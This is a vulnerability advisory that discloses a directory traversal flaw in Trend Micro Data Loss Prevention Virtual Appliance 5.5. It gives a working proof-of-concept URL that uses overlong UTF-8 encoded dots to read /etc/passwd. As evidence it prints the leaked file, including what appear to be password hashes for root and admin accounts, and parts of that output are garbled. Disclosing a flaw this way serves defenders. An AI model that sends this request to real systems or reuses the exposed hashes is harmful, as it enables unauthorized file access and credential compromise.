Software

Trend Micro Data Loss Prevention Virtual Appliance 5.5

Vulnerability Directory Traversal
Threat Level Serious (5/5)
Download http://support.trendmicro.com.cn/TM-

Product/Product/DLP/5.5/Manager/5.5 GM/DLPVA-
5.5.1294-i386-DVD.iso

Discovery Date 27/05/2011

Remote Yes

Author Luis Martinez, Sergio Lopez,White Hat Consultores

Site http://whitehatconsultores.com/

Email Sergio Lopez <sergio.sh at gmail.com>
Luis Martinez <luismtzsilva at gmail.com>

Description A directory traversal vulnerability, can be exploited to read
files outside of the web root.

PoC https://IP:8443/dsc//%c0%ae%c0%ae/%c0%ae%c0%ae/%c

Exploit 0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%a
e%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c
0%ae/%c0%ae%c0%ae/etc/passwd

Evidence

M) TREND. Data Loss Prevention

Logon

Type your user name and password to access the web console.

User name:

Password: Log On
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tc/passwd

root:31$TOSOMC/ASnGil9fuGRQDO0XsPgj4rfh1:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin:/sbin/nologin daemon:*:2:2:daemon:/sbin:/sbin/nologin

adm:*:3:4:adm:/var/adm:/sbin/nologin Ip:*:4:7:1p:/var/spool/Ipd:/sbin/nologin sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail:/sbin/nologin news:*:9:13:news:/etc/news: uucp:*:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:*:11:0:operator:/root:/sbin/nologin games:*:12:100:games:/usr/games:/sbin/nologin gopher:*:13:30:gopher:/var/gopher:/sbin/nologin ftp:*:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:*:99:99:Nobody:/:/sbin/nologin dbus:!!:81:81:System message bus:/:/sbin/nologin ntp:!!:38:38::/etc/ntp:/sbin/nologin
vesa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin mysql:!!:100:101:MySQL server:/var/lib/mysql:/bin/bash rpm:!!:37:37::/var/lib/rpm:/sbin/nologin
sshd:!!:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin omni:!!:101:102:0mniORB servers:/var/omniNames:/bin/bash haldaemon:!!:68:68:HAL
daemon:/:/sbin/nologin pcap:!!:77:77::/var/arpwatch:/sbin/nologin rpe:!!:32:32:Portmapper RPC user:/:/sbin/nologin xfs:!!:43:43:X Font
Server:/ete/X11/fs:/sbin/nologin enable:$1SHGBan1Hr$e7QyWuhS5qy YN.qWSy5UfV0:501:100:enable:/home/enable:/bin/bash admin:$1
SavsGs./r$SqAaQVG4Wi7qIvZILng2A0:500:100:admin:/home/admin:/usr/bin/clish dgate:$1
Siy0imQDuSWmrO3nP{DrspauCCxJn.al:900:100:dgate:/home/dgate:/bin/bash

Trend Micro has already been informed of the failure.
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